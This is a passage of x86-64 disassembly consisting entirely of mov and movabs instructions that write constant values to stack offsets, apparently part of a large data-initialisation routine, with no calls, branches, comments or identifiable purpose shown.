mov eax, 0x30a
mov word [rsp + 0xce0], ax
mov dword [rsp + 0x4844], 0x32a
mov dword [rsp + 0x4848], 0x79f
mov dword [rsp + 0x484c], 0x1601
mov eax, 0x374
mov word [rsp + 0xce4], ax
mov byte [rsp + 0xb2], 0xcb
mov eax, 0xc6
mov word [rsp + 0xce8], ax
movabs rax, 0x796b3f7ab30081
mov qword [rsp + 0x8e80], rax
mov dword [rsp + 0x4850], 0xa2ab
movabs rax, 0x7461cc90fd2133
mov qword [rsp + 0x8e88], rax
mov dword [rsp + 0x4854], 0x656f
mov byte [rsp + 0xb3], 0x6f
movabs rax, 0x7279ff63290b6e
mov qword [rsp + 0x8e90], rax
mov eax, 0x3ab
mov word [rsp + 0xcec], ax
movabs rax, 0x7594bf15d2f7d1
mov qword [rsp + 0x8e98], rax
mov eax, 0x740
mov word [rsp + 0xcf0], ax
mov dword [rsp + 0x4858], 0x2c0c
mov eax, 0xad
mov word [rsp + 0xcf4], ax
movabs rax, 0x727282dc52b5e5
mov qword [rsp + 0x8ea0], rax
movabs rax, 0x76daebfdffafdd
mov qword [rsp + 0x8ea8], rax
mov byte [rsp + 0xb4], 2
mov dword [rsp + 0x485c], 0x6ae9
mov byte [rsp + 0xb5], 0x54
mov eax, 0x341
mov word [rsp + 0xcf8], ax
movabs rax, 0x7ae33601637013
mov qword [rsp + 0x8eb0], rax
mov dword [rsp + 0x4860], 0x7b8b
mov byte [rsp + 0xb6], 0xd9
mov dword [rsp + 0x4864], 0x77c9
movabs rax, 0x7bf482d5a41c33
mov qword [rsp + 0x8eb8], rax
mov eax, 0xa42
mov word [rsp + 0xcfc], ax
movabs rax, 0x75ec72c815a1e5
mov qword [rsp + 0x8ec0], rax
mov byte [rsp + 0xb7], 0xaf
mov byte [rsp + 0xb8], 0x72
mov byte [rsp + 0xb9], 0xb
movabs rax, 0x7c9f22864dd34e
mov qword [rsp + 0x8ec8], rax
mov dword [rsp + 0x4868], 0x1a0c
mov byte [rsp + 0xba], 0x27
mov dword [rsp + 0x486c], 0x5bf3
mov eax, 0x1f
mov word [rsp + 0xd00], ax
mov dword [rsp + 0x4870], 0xa28
mov eax, 0x54
mov word [rsp + 0xd04], ax
movabs rax, 0x79aa7738b34cb1
mov qword [rsp + 0x8ed0], rax
mov dword [rsp + 0x4874], 0xe838
mov eax, 0x24a
mov word [rsp + 0xd08], ax
movabs rax, 0x7ed241026a8e9e
mov qword [rsp + 0x8ed8], rax
movabs rax, 0x7979056fe7ecfe
mov qword [rsp + 0x8ee0], rax
movabs rax, 0x767e1e928b8561
mov qword [rsp + 0x8ee8], rax
movabs rax, 0x7012e17228c187
mov qword [rsp + 0x8ef0], rax
movabs rax, 0x76c59787285f22
mov qword [rsp + 0x8ef8], rax
mov dword [rsp + 0x4878], 0xae0
mov dword [rsp + 0x487c], 0x2934
movabs rax, 0x7dc94a0d9fe5c6
mov qword [rsp + 0x8f00], rax
mov byte [rsp + 0xbb], 0xc3
mov dword [rsp + 0x4880], 0x5f0c
mov byte [rsp + 0xbc], 0x25
mov eax, 0x1cc
mov word [rsp + 0xd0c], ax
movabs rax, 0x7929635a6ca3d8
mov qword [rsp + 0x8f08], rax
mov eax, 0x66a
mov word [rsp + 0xd10], ax
mov eax, 0x1a8
mov word [rsp + 0xd14], ax
mov eax, 1
mov word [rsp + 0xd18], ax
movabs rax, 0x750be0b11ba0cb
mov qword [rsp + 0x8f10], rax
mov eax, 0xc45
mov word [rsp + 0xd1c], ax
mov byte [rsp + 0xbd], 0x7e
mov eax, 0x1a6
mov word [rsp + 0xd20], ax
mov byte [rsp + 0xbe], 0x2d
mov byte [rsp + 0xbf], 0x14
mov dword [rsp + 0x4884], 0x92fe
mov byte [rsp + 0xc0], 0xe0
mov eax, 0x18a
mov word [rsp + 0xd24], ax
mov dword [rsp + 0x4888], 0x651c
mov byte [rsp + 0xc1], 0x82
mov byte [rsp + 0xc2], 0xd
movabs rax, 0x7558a88de2aa70
mov qword [rsp + 0x8f18], rax
mov byte [rsp + 0xc3], 0xf9
movabs rax, 0x7326b7c7d77005
mov qword [rsp + 0x8f20], rax
movabs rax, 0x74a827435d56fa
mov qword [rsp + 0x8f28], rax
mov eax, 0x68a
mov word [rsp + 0xd28], ax
movabs rax, 0x754eb19db84fb3
mov qword [rsp + 0x8f30], rax
mov byte [rsp + 0xc4], 0x87
movabs rax, 0x79a51cc7d130e6
mov qword [rsp + 0x8f38], rax
mov dword [rsp + 0x488c], 0x37ed
mov eax, 0xa33
mov word [rsp + 0xd2c], ax
mov byte [rsp + 0xc5], 0x65
mov dword [rsp + 0x4890], 0x592d
mov eax, 0x60f
mov word [rsp + 0xd30], ax
mov dword [rsp + 0x4894], 0x28ab
mov dword [rsp + 0x4898], 0x3696
mov byte [rsp + 0xc6], 0x5c
mov eax, 0x147
mov word [rsp + 0xd34], ax
movabs rax, 0x7576c679916d9c
mov qword [rsp + 0x8f40], rax
mov eax, 0x2e6
mov word [rsp + 0xd38], ax
movabs rax, 0x7cba7c82acba9f
mov qword [rsp + 0x8f48], rax
mov eax, 0x681
mov word [rsp + 0xd3c], ax
mov eax, 0x8df
mov word [rsp + 0xd40], ax
movabs rax, 0x7638d33db20448
mov qword [rsp + 0x8f50], rax
movabs rax, 0x74a2e3410b0aaf
mov qword [rsp + 0x8f58], rax
movabs rax, 0x76aa5756d4e1ea
mov qword [rsp + 0x8f60], rax
movabs rax, 0x72cbefb439e571
mov qword [rsp + 0x8f68], rax
mov eax, 0x711
mov word [rsp + 0xd44], ax
mov eax, 0xefb
mov word [rsp + 0xd48], ax
mov dword [rsp + 0x489c], 0x76e6
mov byte [rsp + 0xc7], 0x41
mov byte [rsp + 0xc8], 0x9d
movabs rax, 0x74dd6a5c17019a
mov qword [rsp + 0x8f70], rax
movabs rax, 0x7e09b383b2d846
mov qword [rsp + 0x8f78], rax
movabs rax, 0x7c363ac92229dc
mov qword [rsp + 0x8f80], rax
movabs rax, 0x71ef90e6afe749
mov qword [rsp + 0x8f88], rax
mov eax, 0x267
mov word [rsp + 0xd4c], ax
movabs rax, 0x711ac10946a917
mov qword [rsp + 0x8f90], rax
mov eax, 0x16e
mov word [rsp + 0xd50], ax
mov eax, 0x92e
mov word [rsp + 0xd54], ax
mov eax, 0x528
mov word [rsp + 0xd58], ax
mov dword [rsp + 0x48a0], 0x4528
mov byte [rsp + 0xc9], 0x5c
movabs rax, 0x7e12818ad637a4
mov qword [rsp + 0x8f98], rax
mov byte [rsp + 0xca], 0xa9
movabs rax, 0x765bf5c62650ba
mov qword [rsp + 0x8fa0], rax
movabs rax, 0x7568a068296e0c
mov qword [rsp + 0x8fa8], rax
movabs rax, 0x750ca795c0ffc8
mov qword [rsp + 0x8fb0], rax
mov byte [rsp + 0xcb], 0xa9
mov byte [rsp + 0xcc], 0x55
mov byte [rsp + 0xcd], 0x72
movabs rax, 0x750e343723ce7d
mov qword [rsp + 0x8fb8], rax
movabs rax, 0x7bf44afd9d7745
mov qword [rsp + 0x8fc0], rax
mov byte [rsp + 0xce], 0xc7
movabs rax, 0x7b3ede34f1fa5b
mov qword [rsp + 0x8fc8], rax
movabs rax, 0x7e1f9c912c2cb4
mov qword [rsp + 0x8fd0], rax
movabs rax, 0x702d57c3213ac3
mov qword [rsp + 0x8fd8], rax
mov eax, 0x996
mov word [rsp + 0xd5c], ax
mov eax, 0x2af
mov word [rsp + 0xd60], ax
movabs rax, 0x7a2a5355a3682b
mov qword [rsp + 0x8fe0], rax
mov dword [rsp + 0x48a4], 0x7962
movabs rax, 0x79e6bf5bd2c475
mov qword [rsp + 0x8fe8], rax
movabs rax, 0x799ffb95325291
mov qword [rsp + 0x8ff0], rax
mov dword [rsp + 0x48a8], 0x5cfe
mov dword [rsp + 0x48ac], 0x162f
mov byte [rsp + 0xcf], 0x3f
mov dword [rsp + 0x48b0], 0x8a6
movabs rax, 0x701b64e987a626
mov qword [rsp + 0x8ff8], rax
movabs rax, 0x772403567576f3
mov qword [rsp + 0x9000], rax
mov eax, 0x480
mov word [rsp + 0xd64], ax
mov byte [rsp + 0xd0], 0x87
mov eax, 0x25d
mov word [rsp + 0xd68], ax
mov dword [rsp + 0x48b4], 0x510
mov eax, 0x209
mov word [rsp + 0xd6c], ax
movabs rax, 0x79bc3382d69a55
mov qword [rsp + 0x9008], rax
mov byte [rsp + 0xd1], 0x51
mov byte [rsp + 0xd2], 0x1c
mov eax, 0x4ae
mov word [rsp + 0xd70], ax
mov byte [rsp + 0xd3], 0xd3
mov eax, 0x3f4
mov word [rsp + 0xd74], ax
movabs rax, 0x75de3593d8c1c7
mov qword [rsp + 0x9010], rax
mov dword [rsp + 0x48b8], 0x16a3
movabs rax, 0x71d75a78f4c34d
mov qword [rsp + 0x9018], rax
mov dword [rsp + 0x48bc], 0x3836
movabs rax, 0x7232573948e3e6
mov qword [rsp + 0x9020], rax
mov byte [rsp + 0xd4], 0x32
mov eax, 0x570
mov word [rsp + 0xd78], ax
movabs rax, 0x7c412de019e918
mov qword [rsp + 0x9028], rax
movabs rax, 0x7b6a93d4334511
mov qword [rsp + 0x9030], rax
movabs rax, 0x71a5492c5481c1
mov qword [rsp + 0x9038], rax
mov eax, 0x6a9
mov word [rsp + 0xd7c], ax
mov byte [rsp + 0xd5], 0x6d
mov eax, 0xaa9
mov word [rsp + 0xd80], ax
mov byte [rsp + 0xd6], 0x7b
mov eax, 0xd2d
mov word [rsp + 0xd84], ax
mov dword [rsp + 0x48c0], 0x63a2
mov eax, 0x795
mov word [rsp + 0xd88], ax
mov byte [rsp + 0xd7], 0x1d
mov dword [rsp + 0x48c4], 0x3d36
mov dword [rsp + 0x48c8], 0x11c8
movabs rax, 0x736055a1aa38b9
mov qword [rsp + 0x9040], rax
mov eax, 0x7d4
mov word [rsp + 0xd8c], ax
movabs rax, 0x709e3fe0b80ea2
mov qword [rsp + 0x9048], rax
mov dword [rsp + 0x48cc], 0xadf4
mov dword [rsp + 0x48d0], 0xbde0
mov byte [rsp + 0xd8], 0x10
mov dword [rsp + 0x48d4], 0x2d2b
mov eax, 0x3bf
mov word [rsp + 0xd90], ax
movabs rax, 0x7d666ba57b29ea
mov qword [rsp + 0x9050], rax
movabs rax, 0x7de53f816f3ec7
mov qword [rsp + 0x9058], rax
mov byte [rsp + 0xd9], 0xdd
movabs rax, 0x790b5293ffd4e0
mov qword [rsp + 0x9060], rax
movabs rax, 0x73243a877dbb76
mov qword [rsp + 0x9068], rax
mov byte [rsp + 0xda], 0xb
mov dword [rsp + 0x48d8], 0x3884
mov dword [rsp + 0x48dc], 0x7f2b
mov eax, 0x221
mov word [rsp + 0xd94], ax
movabs rax, 0x799bf6fec2c4ab
mov qword [rsp + 0x9070], rax
mov eax, 0x523
mov word [rsp + 0xd98], ax
movabs rax, 0x77703f2df4ad3d
mov qword [rsp + 0x9078], rax
mov dword [rsp + 0x48e0], 0xcc33
movabs rax, 0x7db5e8c75eb8db
mov qword [rsp + 0x9080], rax
mov dword [rsp + 0x48e4], 0x19fa
mov byte [rsp + 0xdb], 0xca
mov dword [rsp + 0x48e8], 0xe7bd
mov eax, 0xe81
mov word [rsp + 0xd9c], ax
mov dword [rsp + 0x48ec], 0x14c
movabs rax, 0x750c4738490f41
mov qword [rsp + 0x9088], rax
mov dword [rsp + 0x48f0], 0x6e6a
mov dword [rsp + 0x48f4], 0x37fa
mov dword [rsp + 0x48f8], 0x7a46
mov eax, 0x243
mov word [rsp + 0xda0], ax
mov byte [rsp + 0xdc], 0xe5
mov dword [rsp + 0x48fc], 0xfc7b
mov byte [rsp + 0xdd], 0xf
movabs rax, 0x7759bb4580a675
mov qword [rsp + 0x9090], rax
movabs rax, 0x7e096ed60df3c5
mov qword [rsp + 0x9098], rax
movabs rax, 0x7d91d7b8c20b2c
mov qword [rsp + 0x90a0], rax
mov dword [rsp + 0x4900], 0x3a56
movabs rax, 0x74d5ac2eaa0d54
mov qword [rsp + 0x90a8], rax
mov eax, 0xee7
mov word [rsp + 0xda4], ax
mov dword [rsp + 0x4904], 0xdf6f
movabs rax, 0x771f81c22312a9
mov qword [rsp + 0x90b0], rax
movabs rax, 0x779092886eb1d3
mov qword [rsp + 0x90b8], rax
mov eax, 0x447
mov word [rsp + 0xda8], ax
mov eax, 0x19
mov word [rsp + 0xdac], ax
mov eax, 0x3a8
mov word [rsp + 0xdb0], ax
movabs rax, 0x75716249c50b6b
mov qword [rsp + 0x90c0], rax
mov eax, 0x356
mov word [rsp + 0xdb4], ax
mov eax, 0x622
mov word [rsp + 0xdb8], ax
mov byte [rsp + 0xde], 0x70
mov eax, 0x574
mov word [rsp + 0xdbc], ax
mov byte [rsp + 0xdf], 0x29
mov byte [rsp + 0xe0], 0x37
movabs rax, 0x7efd7003e5e277
mov qword [rsp + 0x90c8], rax
mov dword [rsp + 0x4908], 0x764e
mov byte [rsp + 0xe1], 0x28
mov byte [rsp + 0xe2], 0x67
movabs rax, 0x7033b602bbaa67
mov qword [rsp + 0x90d0], rax
mov byte [rsp + 0xe3], 0xa0
mov dword [rsp + 0x490c], 0x6121
mov eax, 0x222
mov word [rsp + 0xdc0], ax
mov byte [rsp + 0xe4], 0x67
movabs rax, 0x734603714e76ae
mov qword [rsp + 0x90d8], rax
mov byte [rsp + 0xe5], 0x30
movabs rax, 0x78b296aff0eb3b
mov qword [rsp + 0x90e0], rax
movabs rax, 0x733e62ea7c04ae
mov qword [rsp + 0x90e8], rax
mov dword [rsp + 0x4910], 0x6b6c
mov dword [rsp + 0x4914], 0x6a71
mov byte [rsp + 0xe6], 0xe8
mov byte [rsp + 0xe7], 0x77
movabs rax, 0x7362f0bb698471
mov qword [rsp + 0x90f0], rax
mov byte [rsp + 0xe8], 5
mov eax, 0xaf
mov word [rsp + 0xdc4], ax
mov byte [rsp + 0xe9], 0xce
movabs rax, 0x70916fad048008
mov qword [rsp + 0x90f8], rax
movabs rax, 0x76b0545bb5e427
mov qword [rsp + 0x9100], rax
mov eax, 0x9a6
mov word [rsp + 0xdc8], ax
mov byte [rsp + 0xea], 1
mov dword [rsp + 0x4918], 0x3984
movabs rax, 0x780408c3668b1c
mov qword [rsp + 0x9108], rax
mov eax, 0x113
mov word [rsp + 0xdcc], ax
mov dword [rsp + 0x491c], 0x69bd
mov byte [rsp + 0xeb], 0xef
mov dword [rsp + 0x4920], 0x5c8d
mov byte [rsp + 0xec], 0x5e
movabs rax, 0x73a22dda5d0675
mov qword [rsp + 0x9110], rax
movabs rax, 0x7c20a8228bceae
mov qword [rsp + 0x9118], rax
movabs rax, 0x780e4df8691a48
mov qword [rsp + 0x9120], rax
mov dword [rsp + 0x4924], 0xe408
mov eax, 0x888
mov word [rsp + 0xdd0], ax
movabs rax, 0x7265af0a41c3a5
mov qword [rsp + 0x9128], rax
movabs rax, 0x703a7b698c2dfe
mov qword [rsp + 0x9130], rax
mov byte [rsp + 0xed], 0x89
mov dword [rsp + 0x4928], 0x6910
mov eax, 0xfca
mov word [rsp + 0xdd4], ax
mov dword [rsp + 0x492c], 0x6f78
movabs rax, 0x79b3a4529a2eef
mov qword [rsp + 0x9138], rax
mov eax, 0x647
mov word [rsp + 0xdd8], ax
mov dword [rsp + 0x4930], 0x655b
mov eax, 0xae9
mov word [rsp + 0xddc], ax
mov dword [rsp + 0x4934], 0x29a9
mov byte [rsp + 0xee], 0xbf
mov byte [rsp + 0xef], 0x19
mov dword [rsp + 0x4938], 0x3728
mov eax, 0xa29
mov word [rsp + 0xde0], ax
mov eax, 0x684
mov word [rsp + 0xde4], ax
movabs rax, 0x70291fd09b435f
mov qword [rsp + 0x9140], rax
movabs rax, 0x7134cd7aa14b02
mov qword [rsp + 0x9148], rax
mov eax, 0x2d
mov word [rsp + 0xde8], ax
movabs rax, 0x72dd906eafd9f5
mov qword [rsp + 0x9150], rax
mov byte [rsp + 0xf0], 0x6e
mov eax, 0x8a
mov word [rsp + 0xdec], ax
mov eax, 0x6f9
mov word [rsp + 0xdf0], ax
movabs rax, 0x743a276c557d1b
mov qword [rsp + 0x9158], rax
mov byte [rsp + 0xf1], 0x61
mov dword [rsp + 0x493c], 0x5a48
mov eax, 0x5f5
mov word [rsp + 0xdf4], ax
mov eax, 0x48e
mov word [rsp + 0xdf8], ax
movabs rax, 0x75268eab740e72
mov qword [rsp + 0x9160], rax
mov dword [rsp + 0x4940], 0x8d1
movabs rax, 0x76320406638f63
mov qword [rsp + 0x9168], rax
mov byte [rsp + 0xf2], 0x2b
movabs rax, 0x772d1b930f0a9f
mov qword [rsp + 0x9170], rax
mov byte [rsp + 0xf3], 6
mov eax, 0x58b
mov word [rsp + 0xdfc], ax
mov byte [rsp + 0xf4], 0x70
mov eax, 0x1fa
mov word [rsp + 0xe00], ax
mov eax, 0x5d3
mov word [rsp + 0xe04], ax
movabs rax, 0x7ca84ddbb73750
mov qword [rsp + 0x9178], rax
mov eax, 0x5b
mov word [rsp + 0xe08], ax
movabs rax, 0x7998d1e5da6688
mov qword [rsp + 0x9180], rax
movabs rax, 0x7ebeba1762eb0d
mov qword [rsp + 0x9188], rax
movabs rax, 0x7ca1d3737071c1
mov qword [rsp + 0x9190], rax
movabs rax, 0x7c92d7a2882684
mov qword [rsp + 0x9198], rax
mov dword [rsp + 0x4944], 0xf00
mov byte [rsp + 0xf5], 0x58
movabs rax, 0x73ba8db5d7eb1b
mov qword [rsp + 0x91a0], rax
movabs rax, 0x77387bc195fcc1
mov qword [rsp + 0x91a8], rax
mov dword [rsp + 0x4948], 0x5198
mov dword [rsp + 0x494c], 0xa5fe
movabs rax, 0x7a384794ce6205
mov qword [rsp + 0x91b0], rax
mov eax, 0x59
mov word [rsp + 0xe0c], ax
mov dword [rsp + 0x4950], 0x4bb4
movabs rax, 0x7776cd6d34c734
mov qword [rsp + 0x91b8], rax
mov byte [rsp + 0xf6], 0x24
mov dword [rsp + 0x4954], 0x2f28
mov byte [rsp + 0xf7], 0xc4
movabs rax, 0x7559519a2cd4cb
mov qword [rsp + 0x91c0], rax
mov dword [rsp + 0x4958], 0x44bf
movabs rax, 0x7efffd9632a60f
mov qword [rsp + 0x91c8], rax
mov byte [rsp + 0xf8], 0x1a
movabs rax, 0x7d709b94668319
mov qword [rsp + 0x91d0], rax
mov dword [rsp + 0x495c], 0xd6a0
mov byte [rsp + 0xf9], 0xf7
mov dword [rsp + 0x4960], 0xed76
mov byte [rsp + 0xfa], 0xb7
mov dword [rsp + 0x4964], 0x11b8
movabs rax, 0x7e38433e440ead
mov qword [rsp + 0x91d8], rax
movabs rax, 0x7be9f06c8e2905
mov qword [rsp + 0x91e0], rax
movabs rax, 0x798296c44f631e
mov qword [rsp + 0x91e8], rax
mov dword [rsp + 0x4968], 0x2cff
mov eax, 0x724
mov word [rsp + 0xe10], ax
mov byte [rsp + 0xfb], 0x45
mov byte [rsp + 0xfc], 0x50
mov dword [rsp + 0x496c], 0x6283
mov eax, 0x35e
mov word [rsp + 0xe14], ax
mov dword [rsp + 0x4970], 0x1d1e
mov dword [rsp + 0x4974], 0x39ed
mov byte [rsp + 0xfd], 0x3a
movabs rax, 0x76b0121967e9df
mov qword [rsp + 0x91f0], rax
mov byte [rsp + 0xfe], 0x2d
mov byte [rsp + 0xff], 0xd4
mov dword [rsp + 0x4978], 0xf09e
mov byte [rsp + 0x100], 0xea
mov dword [rsp + 0x497c], 0xe4b
mov eax, 0xd65
mov word [rsp + 0xe18], ax
movabs rax, 0x75696a76bb5bd3
mov qword [rsp + 0x91f8], rax
mov byte [rsp + 0x101], 0x34
mov eax, 0x3d2
mov word [rsp + 0xe1c], ax
mov dword [rsp + 0x4980], 0xa924
mov eax, 0x7c8
mov word [rsp + 0xe20], ax
movabs rax, 0x7754ef1b9527ce
mov qword [rsp + 0x9200], rax
mov dword [rsp + 0x4984], 0x130f
mov dword [rsp + 0x4988], 0x5d1e
mov byte [rsp + 0x102], 0x14
mov eax, 0x299
mov word [rsp + 0xe24], ax
mov dword [rsp + 0x498c], 0x1d72
mov byte [rsp + 0x103], 0x46
mov eax, 0x49e
mov word [rsp + 0xe28], ax
mov dword [rsp + 0x4990], 0x1ade
mov dword [rsp + 0x4994], 0xe00
mov eax, 0x746
mov word [rsp + 0xe2c], ax
mov dword [rsp + 0x4998], 0x4a1e
mov byte [rsp + 0x104], 0x13
mov dword [rsp + 0x499c], 0xe073
mov eax, 0x34c
mov word [rsp + 0xe30], ax
mov eax, 0x5ce
mov word [rsp + 0xe34], ax
mov eax, 0x470
mov word [rsp + 0xe38], ax
movabs rax, 0x7efcfce4a56050
mov qword [rsp + 0x9208], rax
movabs rax, 0x7d8de0c92762aa
mov qword [rsp + 0x9210], rax
movabs rax, 0x7d9c84d8ed7cbd
mov qword [rsp + 0x9218], rax
mov dword [rsp + 0x49a0], 0xdb23
mov byte [rsp + 0x105], 0x72
mov eax, 0x13b
mov word [rsp + 0xe3c], ax
mov eax, 0xb01
mov word [rsp + 0xe40], ax
mov dword [rsp + 0x49a4], 0x1937
mov dword [rsp + 0x49a8], 0x15de
mov byte [rsp + 0x106], 0x61
movabs rax, 0x747ada66a748e3
mov qword [rsp + 0x9220], rax
mov eax, 0x3f8
mov word [rsp + 0xe44], ax
movabs rax, 0x75c2f6fbf15c4c
mov qword [rsp + 0x9228], rax
mov dword [rsp + 0x49ac], 0x92e1
mov byte [rsp + 0x107], 0x53
mov dword [rsp + 0x49b0], 0x7de4
mov eax, 0xf31
mov word [rsp + 0xe48], ax
mov eax, 0x3a9
mov word [rsp + 0xe4c], ax
mov byte [rsp + 0x108], 0x80
movabs rax, 0x739a35e7e2056d
mov qword [rsp + 0x9230], rax
mov eax, 0x284
mov word [rsp + 0xe50], ax
mov eax, 0x437
mov word [rsp + 0xe54], ax
mov eax, 0xe36
mov word [rsp + 0xe58], ax
mov dword [rsp + 0x49b4], 0x5b33
mov eax, 0x686
mov word [rsp + 0xe5c], ax
movabs rax, 0x79ed271690a62f
mov qword [rsp + 0x9238], rax
mov byte [rsp + 0x109], 0x89
mov dword [rsp + 0x49b8], 0x4837
mov eax, 0x3f2
mov word [rsp + 0xe60], ax
movabs rax, 0x716d652ab127fe
mov qword [rsp + 0x9240], rax
movabs rax, 0x74931c4b81cb5f
mov qword [rsp + 0x9248], rax
mov dword [rsp + 0x49bc], 0x755b
mov byte [rsp + 0x10a], 0x77
mov eax, 0x311
mov word [rsp + 0xe64], ax
mov byte [rsp + 0x10b], 0x54
mov eax, 0x10a
mov word [rsp + 0xe68], ax
movabs rax, 0x717ce859f99be8
mov qword [rsp + 0x9250], rax
movabs rax, 0x79018789f403fc
mov qword [rsp + 0x9258], rax
movabs rax, 0x745456abaa67a7
mov qword [rsp + 0x9260], rax
mov dword [rsp + 0x49c0], 0x6897
mov byte [rsp + 0x10c], 0x60
mov dword [rsp + 0x49c4], 0x7602
mov eax, 0x193
mov word [rsp + 0xe6c], ax
movabs rax, 0x793af7de93a6b5
mov qword [rsp + 0x9268], rax
mov dword [rsp + 0x49c8], 0x6b84
mov dword [rsp + 0x49cc], 0x9041
movabs rax, 0x74da96601a236a
mov qword [rsp + 0x9270], rax
mov dword [rsp + 0x49d0], 0x5781
mov eax, 0x5d4
mov word [rsp + 0xe70], ax
movabs rax, 0x7eeda567c0d0b8
mov qword [rsp + 0x9278], rax
mov eax, 0x17f
mov word [rsp + 0xe74], ax
mov eax, 0x329
mov word [rsp + 0xe78], ax
movabs rax, 0x747526ce5b05a6
mov qword [rsp + 0x9280], rax
mov dword [rsp + 0x49d4], 0xaeb
mov eax, 0xd0b
mov word [rsp + 0xe7c], ax
mov byte [rsp + 0x10d], 0x3e
mov dword [rsp + 0x49d8], 0xc06
mov dword [rsp + 0x49dc], 0x47fe
mov byte [rsp + 0x10e], 0xd
movabs rax, 0x7d0461a52347dd
mov qword [rsp + 0x9288], rax
mov eax, 0x3a9
mov word [rsp + 0xe80], ax
movabs rax, 0x74c8e363fa4210
mov qword [rsp + 0x9290], rax
mov eax, 0x5d2
mov word [rsp + 0xe84], ax
mov dword [rsp + 0x49e0], 0xd0ae
movabs rax, 0x726e4cb5b552e0
mov qword [rsp + 0x9298], rax
movabs rax, 0x7b2dacf6966bea
mov qword [rsp + 0x92a0], rax
movabs rax, 0x7efeee7fe80a23
mov qword [rsp + 0x92a8], rax
mov dword [rsp + 0x49e4], 0xf00a
mov eax, 0x8e8
mov word [rsp + 0xe88], ax
mov dword [rsp + 0x49e8], 0x37a5
mov byte [rsp + 0x10f], 0xf
movabs rax, 0x702ba0ffc60e5f
mov qword [rsp + 0x92b0], rax
mov byte [rsp + 0x110], 0x5b
movabs rax, 0x79a3495c6688a5
mov qword [rsp + 0x92b8], rax
mov byte [rsp + 0x111], 0x3f
mov dword [rsp + 0x49ec], 0xb53c
movabs rax, 0x7ac52da0584a86
mov qword [rsp + 0x92c0], rax
mov byte [rsp + 0x112], 0x10
mov eax, 0x35f
mov word [rsp + 0xe8c], ax
movabs rax, 0x7ab743d612f84b
mov qword [rsp + 0x92c8], rax
movabs rax, 0x74d18d671e8ba4
mov qword [rsp + 0x92d0], rax
mov byte [rsp + 0x113], 0xd
movabs rax, 0x70ab804312e92b
mov qword [rsp + 0x92d8], rax
movabs rax, 0x7598acee48ecd6
mov qword [rsp + 0x92e0], rax
mov eax, 0x1f3
mov word [rsp + 0xe90], ax
mov dword [rsp + 0x49f0], 0x1891
movabs rax, 0x7794dcac492688
mov qword [rsp + 0x92e8], rax
mov eax, 0x260
mov word [rsp + 0xe94], ax
movabs rax, 0x7ad2a128bc844d
mov qword [rsp + 0x92f0], rax
movabs rax, 0x72746464b1a159
mov qword [rsp + 0x92f8], rax
mov eax, 0x50
mov word [rsp + 0xe98], ax
mov dword [rsp + 0x49f4], 0xb9a6
mov dword [rsp + 0x49f8], 0x4bb7
mov byte [rsp + 0x114], 0x19
mov byte [rsp + 0x115], 0xb9
movabs rax, 0x779a64fac89ff1
mov qword [rsp + 0x9300], rax
mov dword [rsp + 0x49fc], 0x19c6
movabs rax, 0x75b9715207e1b9
mov qword [rsp + 0x9308], rax
mov dword [rsp + 0x4a00], 0xab09
mov byte [rsp + 0x116], 0x22
mov dword [rsp + 0x4a04], 0xe07a
movabs rax, 0x73325ac2362615
mov qword [rsp + 0x9310], rax
movabs rax, 0x795b893664e932
mov qword [rsp + 0x9318], rax
mov byte [rsp + 0x117], 0x95
mov eax, 0x510
mov word [rsp + 0xe9c], ax
mov eax, 0x53f
mov word [rsp + 0xea0], ax
mov dword [rsp + 0x4a08], 0x5aaf
mov dword [rsp + 0x4a0c], 0x36bc
movabs rax, 0x7a72dabe14f22e
mov qword [rsp + 0x9320], rax
mov dword [rsp + 0x4a10], 0x49f
mov eax, 0x433
mov word [rsp + 0xea4], ax
mov byte [rsp + 0x118], 0x58
movabs rax, 0x7dadd08b875a65
mov qword [rsp + 0x9328], rax
mov eax, 0x41b
mov word [rsp + 0xea8], ax
mov dword [rsp + 0x4a14], 0x5006
movabs rax, 0x7d23ff636d02c2
mov qword [rsp + 0x9330], rax
mov byte [rsp + 0x119], 0x4a
mov dword [rsp + 0x4a18], 0x633a
movabs rax, 0x76b50d551fadf5
mov qword [rsp + 0x9338], rax
mov byte [rsp + 0x11a], 0xbd
movabs rax, 0x704ae1575641b8
mov qword [rsp + 0x9340], rax
mov eax, 0x4bd
mov word [rsp + 0xeac], ax
mov dword [rsp + 0x4a1c], 0xf210
mov byte [rsp + 0x11b], 0x46
mov eax, 0x751
mov word [rsp + 0xeb0], ax
movabs rax, 0x74c810312cb652
mov qword [rsp + 0x9348], rax
movabs rax, 0x72b347f2afad76
mov qword [rsp + 0x9350], rax
mov dword [rsp + 0x4a20], 0x3747
mov dword [rsp + 0x4a24], 0x15c7
movabs rax, 0x71a5d51b61735f
mov qword [rsp + 0x9358], rax
mov byte [rsp + 0x11c], 0x2a
movabs rax, 0x71496137ade031
mov qword [rsp + 0x9360], rax
mov eax, 0x275
mov word [rsp + 0xeb4], ax
movabs rax, 0x77cdef5f54b199
mov qword [rsp + 0x9368], rax
mov dword [rsp + 0x4a28], 0x253f
mov dword [rsp + 0x4a2c], 0x2365
mov eax, 0x74d
mov word [rsp + 0xeb8], ax
movabs rax, 0x73fe89439c69b2
mov qword [rsp + 0x9370], rax
movabs rax, 0x7adab529b343e2
mov qword [rsp + 0x9378], rax
mov eax, 0xa3
mov word [rsp + 0xebc], ax
mov dword [rsp + 0x4a30], 0x34e3
mov eax, 0xd31
mov word [rsp + 0xec0], ax
mov eax, 0x3ff
mov word [rsp + 0xec4], ax
mov eax, 0xb24
mov word [rsp + 0xec8], ax
mov dword [rsp + 0x4a34], 0x635a
movabs rax, 0x7845c553e7fc8f
mov qword [rsp + 0x9380], rax
movabs rax, 0x744c4c6bf519f4
mov qword [rsp + 0x9388], rax
mov eax, 0x58b
mov word [rsp + 0xecc], ax
movabs rax, 0x77bfd3de618495
mov qword [rsp + 0x9390], rax
mov eax, 0x79f
mov word [rsp + 0xed0], ax
movabs rax, 0x7841c261b27676
mov qword [rsp + 0x9398], rax
movabs rax, 0x7701def53408f0
mov qword [rsp + 0x93a0], rax
movabs rax, 0x729ee66af2386a
mov qword [rsp + 0x93a8], rax
mov byte [rsp + 0x11d], 0x5e
mov byte [rsp + 0x11e], 0x47
mov dword [rsp + 0x4a38], 0xe8e1
mov eax, 0x529
mov word [rsp + 0xed4], ax
mov eax, 0xbd7
mov word [rsp + 0xed8], ax
mov dword [rsp + 0x4a3c], 0x9d60
movabs rax, 0x72fbbb564dd098
mov qword [rsp + 0x93b0], rax
mov eax, 0x569
mov word [rsp + 0xedc], ax
mov byte [rsp + 0x11f], 0x75
mov eax, 0x5ab
mov word [rsp + 0xee0], ax
movabs rax, 0x71c4c084a36c54
